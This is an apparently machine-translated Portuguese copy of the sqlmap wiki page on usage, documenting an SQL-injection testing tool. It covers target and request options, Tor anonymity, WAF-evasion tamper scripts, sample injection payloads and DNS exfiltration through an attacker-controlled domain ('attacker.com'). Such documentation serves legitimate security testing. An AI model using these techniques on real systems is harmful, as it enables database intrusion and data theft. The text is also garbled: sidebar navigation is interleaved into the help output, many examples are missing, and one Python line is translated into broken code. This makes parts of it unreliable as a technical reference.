Utilização Sqlmapproject - Sqlmap Wiki GitHub
Utilização Sqlmapproject - Sqlmap Wiki GitHub
Uso
Miroslav Stampar editou esta página on 28 Dec 2016 · 93 revisões
Uso Páginas 13
Options:
-h, --help Show basic help message and exit Manual do usuário
-hh Show advanced help message and exit
--version Show program's version number and exit Introdução - Introdução ao
-v VERBOSE Verbosity level: 0-6 (default 1) sqlmap
Técnicas - SQLi técnicas
Target: suportadas por sqlmap
At least one of these options has to be provided to define the Recursos - Breve lista de
target(s) recursos suportados
Download e atualização -
-d DIRECT Connection string for direct database connection Mantenha sua cópia atualizada
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
Dependências - Informações
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
sobre bibliotecas e
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
ferramentas de terceiros
-m BULKFILE Scan multiple targets given in a textual file
usadas
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs História - História de 2006 a
-c CONFIGFILE Load options from a configuration INI file 2017
Uso - Desagregação exaustiva
Request: de todas as opções e switches,
These options can be used to specify how to connect to the target URL juntamente com exemplos
Licença - Informações sobre
--method=METHOD Force usage of given HTTP method (e.g. PUT) direitos autorais
--data=DATA Data string to be sent through POST
--param-del=PARA.. Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header value
--cookie-del=COO.. Character used for splitting cookie values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
Diversos
--user-agent=AGENT HTTP User-Agent header value
FAQ - Perguntas Frequentes
--random-agent Use randomly selected HTTP User-Agent header value
Apresentações - Materiais da
--host=HOST HTTP Host header value
equipe sqlmap apresentados
--referer=REFERER HTTP Referer header value
em conferências
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") Capturas de tela - Coleção de
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) screenshots demonstrando
--auth-cred=AUTH.. HTTP authentication credentials (name:password) algumas das características
--auth-file=AUTH.. HTTP authentication PEM cert/private key file Bibliotecas de terceiros -
--ignore-401 Ignore HTTP Error 401 (Unauthorized) informações detalhadas sobre
--proxy=PROXY Use a proxy to connect to the target URL bibliotecas de terceiros e
--proxy-cred=PRO.. Proxy authentication credentials (name:password) ferramentas usadas pelo
--proxy-file=PRO.. Load proxy list from a file sqlmap
--ignore-proxy Ignore system default proxy settings
--tor Use Tor anonymity network
Clone este wiki localmente
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
https://github.com/sqlmapproject/sqlmap.w
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
Detection:
These options can be used to customize the detection phase
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
Brute force:
These options can be used to run brute force checks
General:
These options can be used to set some general working parameters
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--page-rank Display page rank (PR) for Google dork results
--purge-output Safely remove all content from output directory
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--wizard Simple wizard interface for beginner users
Saída verbosidade
Opção: -v
Esta opção pode ser usada para definir o nível de verbosidade das mensagens de saída. Existem
sete níveis de verbosidade. O nível padrão é 1 em que informações, aviso, erro, mensagens
críticas e rastreamentos Python (se houver) são exibidos.
Um nível razoável de verbosidade para entender melhor o que sqlmap faz sob o capô é o nível 2 ,
principalmente para a fase de detecção e as funcionalidades de take-over. Considerando que se
você quiser ver as cargas úteis SQL as ferramentas envia, o nível 3 é a sua melhor escolha. Este
nível também é recomendado para ser usado quando você alimentar os desenvolvedores com um
relatório de bug potencial, certifique-se de enviar juntamente com a saída padrão do arquivo de
log de tráfego gerado com a opção -t . Para depurar ainda mais possíveis bugs ou
comportamentos inesperados, recomendamos que defina a verbosidade como nível 4 ou
superior. Deve notar-se que há também a possibilidade de definir o detalhamento usando a versão
mais curta de esta opção onde o número de cartas v no interior do comutador fornecido (em vez
da opção) determina o nível de detalhamento (por exemplo, -v em vez de -v 2 , -vv em vez de
-v 3 , -vvv em vez de -v 4 , Etc)
Alvo
Pelo menos uma dessas opções será fornecida para definir o (s) alvo (s).
Execute sqlmap contra uma única instância de banco de dados. Essa opção aceita uma
seqüência de conexão em um dos seguintes formulários:
Por exemplo:
Alvo URL
Opção: -u ou --url
Execute sqlmap contra um único URL de destino. Esta opção requer um URL de destino na
seguinte forma:
http(s)://targeturl[:port]/[...]
Por exemplo:
Ao invés de fornecer um único URL de destino, é possível testar e injetar contra solicitações HTTP
proxied através de proxy Burp ou proxy WebScarab . Essa opção requer um argumento que é o
arquivo de log de solicitações HTTP do proxy.
Exemplo de conteúdo de um arquivo em massa fornecido como um argumento para esta opção:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
Uma das possibilidades do sqlmap é o carregamento de uma solicitação HTTP bruta a partir de
um arquivo de texto. Dessa forma, você pode pular o uso de um número de outras opções (por
exemplo, configuração de cookies, dados POSTed, etc).
id=1
Note que se a solicitação for sobre HTTPS, você pode usar isso em conjunto com switch --
force-ssl para forçar a conexão SSL para 443 / tcp. Como alternativa, você pode anexar
:443 ao final do Host valor do cabeçalho .
Também é possível testar e injetar em parâmetros GET com base nos resultados de seu dork do
Google.
Esta opção faz com que o sqlmap negocie com o mecanismo de pesquisa seu cookie de sessão
para poder executar uma pesquisa, então o sqlmap recuperará os primeiros 100 resultados do
Google para a expressão dork do Google com os parâmetros GET perguntando se você deseja
testar e injetar em cada URL afetada possível .
Por exemplo:
Observe que se você fornecer outras opções da linha de comando, elas serão avaliadas ao
executar sqlmap e substituir as fornecidas no arquivo de configuração.
Pedido
Essas opções podem ser usadas para especificar como se conectar ao URL de destino.
Método HTTP
Opção: --method
Dados HTTP
Opção: --data
Por padrão, o método HTTP usado para executar solicitações HTTP é GET, mas você pode
implicitamente alterá-lo para POST, fornecendo os dados a serem enviados nos pedidos POST.
Esses dados, sendo esses parâmetros, são testados para a injeção SQL, bem como quaisquer
parâmetros GET fornecidos.
Por exemplo:
Há casos em que o delimitador de parâmetro padrão (por exemplo, & em dados GET e POST)
precisa ser substituído para sqlmap para ser capaz de dividir corretamente e processar cada
parâmetro separadamente.
Por exemplo:
O aplicativo da Web requer autenticação com base em cookies e você tem esses dados.
Você deseja detectar e explorar a injeção SQL em tais valores de cabeçalho.
Qualquer uma das razões leva você a precisar enviar cookies com solicitações sqlmap, as etapas
a serem seguidas são as seguintes:
Observe que os Cookie valores de cabeçalho HTTP geralmente são separados por um
; caractere, não por um & . Sqlmap pode reconhecer estes como conjuntos separados de
parameter=value também, bem como parâmetros GET e POST. No caso em que o caractere de
separação é diferente do ; que pode ser especificado usando a opção --cookie-del .
Vice versa, se você fornecer um cabeçalho HTTP Cookie com a opção --cookie eo URL de
destino envia um Set-Cookie cabeçalho HTTP a qualquer momento, o sqlmap perguntará qual
conjunto de cookies usar para as seguintes solicitações HTTP.
Há também uma opção --load-cookies que pode ser usada para fornecer um arquivo especial
contendo Netscape / wget formatado cookies.
Observe que também o Cookie cabeçalho HTTP é testado contra a injeção SQL se a --
level opção estiver definida como 2 ou acima. Leia abaixo para mais detalhes.
Por padrão sqlmap executa solicitações HTTP com o seguinte User-Agent valor de cabeçalho :
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
Além disso, ao fornecer a chave --random-agent , SqlMap irá selecionar aleatoriamente uma
User-Agent a partir do ./txt/user-agents.txt arquivo de texto e usá-lo para todas as
solicitações HTTP dentro da sessão.
Alguns sites realizam uma verificação do lado do servidor User-Agent do valor do User-
Agent cabeçalho HTTP e falham a resposta HTTP se um válido não for fornecido, seu valor não é
esperado ou está na lista negra por um firewall de aplicativo da Web ou sistema de prevenção de
invasões similar. Neste caso sqlmap irá mostrar-lhe uma mensagem da seguinte forma:
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
Observe que também o User-Agent cabeçalho HTTP é testado contra injeção SQL se a --
level opção estiver definida como 3 ou acima. Leia abaixo para mais detalhes.
Você pode definir manualmente Host o valor do cabeçalho HTTP . Por padrão, o Host cabeçalho
HTTP é analisado a partir de um URL de destino fornecido.
Observe que também o Host cabeçalho HTTP é testado contra injeção SQL se --level for
definido como 5 . Leia abaixo para mais detalhes.
É possível falsificar o Referer valor do cabeçalho HTTP . Por padrão, nenhum Referer
cabeçalho HTTP é enviado em solicitações HTTP se não for explicitamente definido.
Observe que também o Referer cabeçalho HTTP é testado contra injeção SQL se a --
level opção estiver definida como 3 ou acima. Leia abaixo para mais detalhes.
É possível fornecer cabeçalhos HTTP adicionais definindo a opção --headers . Cada cabeçalho
deve ser separado por uma nova linha e é muito mais fácil fornecê-los a partir do arquivo INI de
configuração. Você pode dar uma olhada no sqlmap.conf arquivo de exemplo para esse caso.
Essas opções podem ser usadas para especificar quais implementos de servidor de back-end de
autenticação de protocolo HTTP e as credenciais válidas a serem usadas para executar todas as
solicitações HTTP para o aplicativo de destino.
Basic
Digest
NTLM
Esta opção deve ser usada nos casos em que o servidor web requer certificado adequado do lado
do cliente e uma chave privada para autenticação. O valor fornecido deve ser um formato PEM
key_file que contenha o seu certificado e uma chave privada.
No caso de você querer testar o site que ocasionalmente retorna o erro HTTP 401 (não
autorizado), enquanto você deseja ignorá-lo e continuar os testes sem fornecer credenciais
adequadas, você pode usar o switch --ignore-401
É possível fornecer um endereço proxy HTTP (S) para passar pelas solicitações HTTP (S) para o
URL de destino com a opção --proxy . A sintaxe do valor proxy HTTP (S) é http://url:port .
Se o proxy HTTP (S) requer autenticação, você pode fornecer as credenciais no formato
username:password para a opção --proxy-cred .
No caso de você querer usar lista de proxy descartável, ignorando o próximo proxy em qualquer
sinal de um problema de conexão (por exemplo, bloqueio de endereço IP invasivo), a opção --
proxy-file pode ser usada fornecendo o nome de arquivo de um arquivo que contém a lista em
massa de proxies.
Switch --ignore-proxy deve ser usado quando você deseja executar o sqlmap contra uma parte
de destino de uma rede de área local, ignorando a configuração de servidor proxy HTTP (S)
conjunto do sistema.
Se, por algum motivo, você precisar permanecer anônimo, em vez de passar por um único
servidor proxy HTTP (S) predefinido, você pode configurar um cliente Tor juntamente com o
Privoxy (ou similar) na máquina, conforme explicado nos guias de instalação do Tor . Então você
pode usar um switch --tor e sqlmap tentará definir automaticamente as configurações de
conexão do proxy Tor.
Caso queira definir manualmente o tipo e a porta do proxy Tor utilizado, pode fazê-lo com opções
--tor-type e --tor-port (por exemplo --tor-type=SOCKS5 --tor-port 9050 ).
Você é --check-tor fortemente aconselhado a usar ocasionalmente para ter certeza de que
tudo foi configurado corretamente. Há casos em que pacotes Tor (por exemplo, Vidalia) vêm mal
configurados (ou redefinir configurações previamente definidas) dando-lhe uma falsa sensação
de anonimato. Usando este switch sqlmap irá verificar se tudo funciona conforme o esperado,
enviando um único pedido para um funcionário Você está usando o Tor? Página antes de
qualquer pedido de destino. Caso a verificação falhe, o sqlmap irá avisá-lo e sair abruptamente.
É possível especificar um número de segundos para manter entre cada solicitação HTTP (S). O
valor válido é um float, por exemplo 0.5 meio meio segundo. Por padrão, nenhum atraso é
definido.
É possível especificar o número máximo de tentativas quando os tempos limite da conexão HTTP
(S). Por padrão, tenta novamente até três vezes .
É possível especificar nomes de parâmetros cujos valores você deseja alterar aleatoriamente
durante cada solicitação. Comprimento e tipo estão sendo mantidos de acordo com os valores
originais fornecidos.
Em vez de usar todos os hosts analisados a partir de logs -l fornecidos com a opção , você
pode especificar a expressão regular válida Python para ser usado para filtrar os desejados.
Evite que sua sessão seja destruída após muitos pedidos sem êxito
Opções: --safe-url , --safe-post , --safe-req e --safe-freq
Para ignorar esta limitação definida pelo destino, você pode fornecer qualquer opção (ou
combinação de):
--safe-post : HTTP POST dados para enviar para um determinado endereço URL seguro.
Dessa forma, o sqlmap irá visitar cada um número predefinido de solicitações de um determinado
URL seguro sem executar qualquer tipo de injeção contra ele.
Dependendo do posicionamento do parâmetro (ex. GET), seu valor pode ser codificado por URL
por padrão. Em alguns casos, os servidores Web back-end não seguem os padrões RFC e exigem
que os valores sejam enviados em sua forma não codificada não processada. Use --skip-
urlencode naqueles tipos de casos.
Muitos sites incorporam proteção anti-CSRF em forma de tokens, valores de campo oculto que
são definidos aleatoriamente durante cada resposta de página. Sqlmap irá automaticamente
tentar reconhecer e ignorar esse tipo de proteção, mas existem opções --csrf-token e --csrf-
url que pode ser usado para furter afiná-lo. Opção --csrf-token pode ser usada para definir o
nome do valor oculto que contém o token aleatório. Isso é útil nos casos em que os sites usam
nomes não padrão para esses campos. A opção --csrf-url pode ser usada para recuperar o
valor do token de um endereço URL arbitrário. Isso é útil se o URL de destino vulnerável não
contiver o valor de token necessário no primeiro lugar, mas é necessário extraí-lo de algum outro
local.
No caso de que o usuário deseja forçar o uso de solicitações SSL / HTTPS em relação ao destino,
ele pode usar essa opção. Isso pode ser útil nos casos em que urls estão sendo coletados
usando a opção --crawl ou quando o log Burp está sendo fornecido com a opção -l .
No caso de que o usuário deseja alterar (ou adicionar novos) valores de parâmetro,
provavelmente por causa de alguma dependência conhecida, ele pode fornecer para sqlmap um
código de python personalizado com a opção --eval que será avaliada antes de cada pedido.
Por exemplo:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Cada solicitação de tal execução irá reavaliar o valor do parâmetro GET hash para conter um
novo MD5 hash digest para o valor atual do parâmetro id .
Otimização
Otimização do pacote
Interruptor: -o
--keep-alive
--null-connection
Previsão de saída
Interruptor: --predict-output
HTTP Keep-Alive
Interruptor: --keep-alive
Existem tipos de solicitação HTTP especiais que podem ser usados para recuperar o tamanho da
resposta HTTP sem obter o corpo HTTP. Este conhecimento pode ser usado na técnica de injeção
cega para distinguir True das False respostas. Quando essa opção é fornecida, o sqlmap
tentará testar e explorar duas técnicas diferentes de conexão NULL : Range e HEAD . Se qualquer
um destes é suportado pelo servidor web alvo, acelerar virá a partir da economia óbvia de largura
de banda utilizada.
Essas técnicas são detalhadas no white paper Bursting Performances em Blind SQL Injection -
Take 2 (Bandwidth) .
É possível especificar o número máximo de solicitações simultâneas HTTP (S) que sqlmap tem
permissão para fazer. Esse recurso se baseia no conceito multi-threading e herda tanto o seu
profissional quanto o seu contra.
Esses recursos se aplicam aos comutadores de força bruta e quando a busca de dados é feita
através de qualquer técnica de injeção SQL cega. Para o último caso, sqlmap primeiro calcula o
comprimento da saída da consulta em um único segmento e, em seguida, inicia o multi-threading.
Cada thread é atribuído para recuperar um caractere da saída da consulta. O segmento termina
quando esse caractere é recuperado - ele leva até 7 solicitações HTTP (S) com o algoritmo de
bissecção implementado em sqlmap.
Injeção
Essas opções podem ser usadas para especificar quais parâmetros testar, fornecer cargas úteis
de injeção personalizada e scripts de adulteração opcionais.
Por padrão, o sqlmap testa todos os parâmetros GET e POST. Quando o valor de --level é> = 2,
ele também testa os Cookie valores de cabeçalho HTTP . Quando esse valor é> = 3, ele também
testa os valores de cabeçalho HTTP User-Agent e HTTP Referer para injeções SQL. No
entanto, é possível especificar manualmente uma lista separada por vírgulas de parâmetro (s) que
você deseja sqlmap para testar. Isso irá ignorar a dependência do valor de --level também.
Por exemplo, para testar o parâmetro GET id e User-Agent somente para HTTP , forneça -p
"id,user-agent" .
No caso de que o usuário deseja excluir determinados parâmetros do teste, ele pode usar a opção
--skip . Isso é especialmente útil nos casos em que você deseja usar um valor maior para --
level e testar todos os parâmetros disponíveis, exceto alguns dos cabeçalhos HTTP
normalmente testados.
Por exemplo, para ignorar o teste de cabeçalho HTTP User-Agent e cabeçalho HTTP
Referer em --level=5 , forneça --skip="user-agent,referer" .
Existe também a possibilidade de excluir determinados parâmetros do teste com base em uma
expressão regular executada em seus nomes. Nesses tipos de casos, o usuário pode usar a
opção --param-exclude .
Por exemplo, para ignorar o teste de parâmetros que contêm string token ou session em seus
nomes, forneça --param-exclude="token|session" .
Há casos especiais quando o ponto de injeção está dentro da própria URI. Sqlmap não executa
qualquer teste automático contra caminhos URI, a menos que apontado manualmente para. Você
precisa especificar esses pontos de injeção na linha de comando adicionando um asterisco ( * )
(Nota: o estilo %INJECT HERE% Havij também é suportado) após cada ponto URI que você deseja
que o sqlmap teste e explore uma injeção SQL.
Isso é particularmente útil quando, por exemplo, o módulo mod_rewrite do servidor web Apache
está em uso ou outras tecnologias similares.
Forçar o SGBD
Opção: --dbms
MySQL
Oráculo
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
HSQLDB
Informix
Se, por alguma razão, o sqlmap não detectar o SGBD back-end, uma vez que uma injeção SQL foi
identificada ou se você quiser evitar uma impressão ativa, você pode fornecer o nome do próprio
SGBD de back-end postgresql . Para o MySQL e Microsoft SQL Server fornecê-los,
respectivamente, no formulário MySQL <version> e Microsoft SQL Server <version> , onde
<version> é uma versão válida para o DBMS; Por exemplo 5.0 para o MySQL e 2005 para o
Microsoft SQL Server.
No caso de você fornecer juntamente --fingerprint com --dbms , sqlmap só irá realizar a
impressão digital extensa para o sistema de gerenciamento de banco de dados especificado
apenas, leia abaixo para obter mais detalhes.
Observe que essa opção não é obrigatória e é altamente recomendável usá-lo somente se tiver
certeza absoluta sobre o sistema de gerenciamento de banco de dados back-end. Se você não
sabe, deixe sqlmap automaticamente fingerprint ele para você.
Linux
janelas
É possível forçar o nome do sistema operacional se você já sabe que sqlmap irá evitar fazê-lo em
si.
Observe que essa opção não é obrigatória e é altamente recomendável usá-lo somente se tiver
certeza absoluta sobre o sistema de gerenciamento de banco de dados back-end do sistema
operacional. Se você não sabe, deixe sqlmap identificá-lo automaticamente para você.
Nos casos em que o sqlmap necessita invalidar o valor original do parâmetro (eg id=13 ) usa a
negação clássica (eg id=-13 ). Com esta opção é possível forçar o uso de grandes valores
inteiros para cumprir a mesma meta (por exemplo id=99999999 ).
Nos casos em que o sqlmap necessita invalidar o valor original do parâmetro (eg id=13 ) usa a
negação clássica (eg id=-13 ). Com esta opção é possível forçar o uso de operações booleanas
para cumprir a mesma meta (por exemplo id=13 AND 18=19 ).
Nos casos em que o sqlmap necessita invalidar o valor original do parâmetro (eg id=13 ) usa a
negação clássica (eg id=-13 ). Com esta opção é possível forçar o uso de seqüências aleatórias
para cumprir a mesma meta (por exemplo id=akewmc ).
Ao recuperar resultados, sqlmap usa um mecanismo onde todas as entradas estão sendo
moldadas para tipo de seqüência de caracteres e substituídas por um caractere de espaço em
branco no caso de NULL valores. Isso está sendo feito para evitar estados errôneos (por exemplo,
concatenação de NULL valores com valores de string) e facilitar o processo de recuperação de
dados em si. No entanto, há casos relatados (eg versões mais antigas do MySQL DBMS) onde
este mecanismo precisava ser desligado (usando esse switch) por causa de problemas com a
recuperação de dados em si (por exemplo, os None valores são retornados ).
Nos casos em que o sqlmap precisa usar valores de string dentro de cargas úteis (por exemplo
SELECT 'foobar' ), esses valores são automaticamente escapados (ex SELECT
CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114) .). Isso está sendo feito por
causa de duas coisas: ofuscação de conteúdo de carga útil e evitar possíveis problemas com
mecanismos de escape de consulta (eg magic_quotes e / ou mysql_real_escape_string ) no
servidor back-end. O usuário pode usar este interruptor para desligá-lo (por exemplo, para reduzir
o tamanho da carga útil).
Para detectar e explorar esta injeção SQL, você pode permitir que o sqlmap detecte os limites
(como na combinação do prefixo e sufixo de carga útil do SQL) durante a fase de detecção ou
forneça-os por conta própria.
Por exemplo:
Isso resultará em todas as solicitações sqlmap para terminar em uma consulta da seguinte
maneira:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
Neste exemplo simples, o sqlmap pode detectar a injeção SQL e explorá-la sem necessidade de
fornecer limites personalizados, mas às vezes no aplicativo real é necessário fornecê-lo quando o
ponto de injeção está dentro de consultas aninhadas, JOIN por exemplo.
Sqlmap em si não faz ofuscação da carga útil enviada, exceto para strings entre aspas simples
CHAR() substituídas por sua representação -alike.
Esta opção pode ser muito útil e poderosa em situações onde há um mecanismo de validação de
entrada fraca entre você e o sistema de gerenciamento de banco de dados back-end. Esse
mecanismo normalmente é uma rotina de validação de entrada auto-desenvolvida chamada pelo
código-fonte do aplicativo, um dispositivo IPS de nível corporativo caro ou um firewall de
aplicativo da Web (WAF). Todos os buzzwords para definir o mesmo conceito, implementado de
forma diferente e custa muito dinheiro, normalmente.
Para aproveitar esta opção, forneça sqlmap com uma lista separada por vírgulas de scripts de
adulteração e isso processará a carga útil e o transformará. Você pode definir seus próprios
scripts de adulteração, usar os sqlmap da tamper/ pasta ou editá-los, contanto que os
concatene coma separados como valor da opção --tamper (ex --
tamper="between,randomcase" .).
# Importações necessárias
de lib.core.enums importar PRIORIDADE
Detecção
Essas opções podem ser usadas para personalizar a fase de detecção.
Nível
Opção: --level
Esta opção requer um argumento que especifica o nível de testes a executar. Existem cinco
níveis. O valor padrão é 1, onde é realizado um número limitado de testes (solicitações). Vice-
versa, nível 5 irá testar verbosely para um número muito maior de cargas e limites (como em par
de SQL carga útil prefixo e sufixo). As cargas úteis utilizadas pelo sqlmap são especificadas no
arquivo de texto xml/payloads.xml . Seguindo as instruções no topo do arquivo, se sqlmap
perde uma injeção, você deve ser capaz de adicionar sua própria carga (s) para testar também!
Não só essa opção afeta a carga útil que o sqlmap tenta, mas também os pontos de injeção que
são tomados no exame: os parâmetros GET e POST sempre são testados, os valores de
cabeçalho de cookie HTTP são testados a partir do nível 2 e o valor do HTTP User-Agent / Referer
é testado a partir de Nível 3 .
Em suma, quanto mais difícil for detectar uma injeção SQL, maior --level será o valor a ser
definido.
É altamente recomendável aumentar esse valor antes de informar à lista de e-mails que o sqlmap
não consegue detectar um determinado ponto de injeção.
Risco
Opção: --risk
Esta opção requer um argumento que especifique o risco de realização de testes. Há três valores
de risco. O valor padrão é 1, o que é inócuo para a maioria dos pontos de injeção SQL. O valor de
risco 2 adiciona ao nível padrão os testes para injeções SQL pesadas baseadas em tempo de
consulta eo valor 3 adiciona também OR testes de injeção SQL baseados.
Em alguns casos, como uma injeção SQL em uma UPDATE instrução, a injeção de uma OR carga
útil pode levar a uma atualização de todas as entradas da tabela, o que certamente não é o que o
invasor deseja. Por esta razão e outros esta opção foi introduzida: o usuário tem controle sobre
quais cargas são testadas, o usuário pode arbitrariamente escolher usar também potencialmente
perigosas. Conforme a opção anterior, as cargas úteis utilizadas pelo sqlmap são especificadas
no arquivo de texto xml/payloads.xml e você está livre para editar e adicionar seus próprios .
Comparação de páginas
Opções: --string , --not-string , --regexp e --code
Por padrão, a distinção de uma True consulta de False um (conceito aproximado por trás das
vulnerabilidades de injeção SQL cego com base em booleanos) é feita comparando o conteúdo
da página de solicitações injetadas com o conteúdo da página original não injetado. Nem sempre
esse conceito funciona, porque às vezes o conteúdo da página muda a cada atualização, mesmo
não injetando nada, por exemplo, quando a página tem um contador, um banner publicitário
dinâmico ou qualquer outra parte do HTML que é renderizada dinamicamente e pode mudar no
tempo não apenas Conseqüentemente à entrada do usuário. Para ignorar esse limite, o sqlmap
tenta identificar esses fragmentos dos corpos de resposta e lidar adequadamente. Às vezes, ele
pode falhar, por isso o usuário pode fornecer uma string ( --string opção), que deve estar
presente na página inicial (embora não seja um requisito) e em todos os verdadeiros injectado
páginas de consulta, mas que é não sobre os falsos. Em vez de seqüência estática, o usuário
pode fornecer uma expressão regular ( --regexp opção). Como alternativa, o usuário pode
fornecer uma seqüência de caracteres ( --not-string opção) que não está presente na página
original e não em todas as páginas de consulta Injectadas True, mas aparece sempre em False.
Esses dados são fáceis para um usuário recuperar, basta tentar injetar no parâmetro afetado um
valor inválido e comparar manualmente o conteúdo da página original (não injetado) com o
conteúdo da página errada injetada. Desta forma, a distinção será baseada na presença de
cadeias ou na expressão regular.
Nos casos em que o usuário sabe que a distinção de uma True consulta de False um pode ser
feita usando o código HTTP (por exemplo, 200 para True e 401 para False ), ele pode fornecer
essa informação para sqlmap (por exemplo --code=200 ).
Nos casos em que o usuário sabe que a distinção de uma True consulta de False um pode ser
feita usando o título HTML (por exemplo, Welcome para True e Forbidden para False ), ele
pode ativar a comparação baseada em título usando switch --titles .
Em casos com muito conteúdo ativo (por exemplo, scripts, embeds, etc.) no corpo das respostas
HTTP, você pode filtrar páginas (switch --text-only ) apenas para seu conteúdo textual. Desta
forma, em um bom número de casos, você pode ajustar automaticamente o mecanismo de
detecção.
Técnicas
Essas opções podem ser usadas para ajustar testes de técnicas de injeção SQL específicas.
Essa opção pode ser usada para especificar o tipo de injeção SQL a ser testada. Por padrão
sqlmap testes para todos os tipos / técnicas que suporta.
Em determinadas situações, você pode querer testar apenas para um ou poucos tipos específicos
de injeção SQL pensamento e é aqui que esta opção entra em jogo.
Esta opção requer um argumento. Tal argumento é uma string composta por qualquer
combinação de B , E , U , S , T e Q personagens, onde cada letra representa uma técnica
diferente:
E : Baseado em erro
S : Consultas empilhadas
T : Tempo cego
Q : Inline queries
Por exemplo, você pode fornecer ES se você deseja testar e explorar apenas os tipos de injeção
SQL baseados em erro e empilhados. O valor padrão é BEUSTQ .
Observe que a seqüência de caracteres deve incluir empilhados consultas técnica carta,,
S quando você deseja acessar o sistema de arquivos, aquisição do sistema operacional ou
acessar o registro do Windows colmeia.
Segundos para atrasar a resposta DBMS para injeção SQL cego baseado no
tempo
Opção: --time-sec
É possível definir os segundos para atrasar a resposta ao testar a injeção SQL cego com base no
tempo, fornecendo a --time-sec opção seguida por um inteiro. Por padrão, seu valor é definido
como 5 segundos .
Por padrão sqlmap testes para UNION consulta SQL injeção técnica usando 1 a 10 colunas. No
entanto, este intervalo pode ser aumentado até 50 colunas, fornecendo um --level valor maior .
Veja o parágrafo relevante para mais detalhes.
Você pode informar manualmente sqlmap para testar este tipo de injeção SQL com um intervalo
específico de colunas, fornecendo a ferramenta com a opção --union-cols seguida por um
intervalo de inteiros. Por exemplo, 12-16 significa testes para injeção SQL de consulta de UNION
usando 12 até 16 colunas.
Por padrão sqlmap testes para UNION consulta SQL injeção técnica usando NULL caracteres. No
entanto, fornecendo um --level valor mais alto sqlmap irá realizar testes também com um
número aleatório, porque há alguns casos de canto onde os testes de consulta UNION com
NULL falha, enquanto que com um inteiro aleatório eles terão sucesso.
Você pode informar manualmente sqlmap para testar este tipo de injeção SQL com um caractere
específico usando a opção --union-char com o valor de caractere desejado (ex --union-char
123 .).
Em alguns casos de injeção de SQL de consulta do UNION há uma necessidade de impor o uso
do nome de tabela válido e acessível na FROM cláusula. Por exemplo, o Microsoft Access requer o
uso dessa tabela. Sem fornecer uma consulta UNION SQL injeção não será capaz de executar
corretamente (por exemplo --union-from=users ).
Se o usuário estiver controlando uma máquina registrada como um servidor de domínio DNS (por
exemplo, domínio attacker.com ), ele pode ativar esse ataque usando esta opção (ex --dns-
domain attacker.com .). Pré-requisitos para que ele funcione é executar um sqlmap com
Administrator privilégios (uso de porta privilegiada 53 ) e que uma técnica normal (cego) está
disponível para exploração. Isso é apenas o propósito deste ataque é acelerar o processo de
recuperação de dados no caso de pelo menos uma técnica ter sido identificada (no melhor dos
casos, tempo cego). No caso de que o erro baseado em blind ou UNION técnicas de consulta
estão disponíveis, será ignorado como aqueles são preferidos por padrão.
O ataque de injeção SQL de segunda ordem é um ataque onde o resultado de uma carga útil
injetada em uma página vulnerável é mostrado (refletido) na outra (por exemplo, quadro).
Normalmente isso está acontecendo por causa do armazenamento de banco de dados de
entrada fornecida pelo usuário na página vulnerável original.
Você pode informar manualmente sqlmap para testar esse tipo de injeção SQL usando a opção -
-second-order com o endereço URL da página da Web onde os resultados estão sendo
mostrados .
Impressão digital
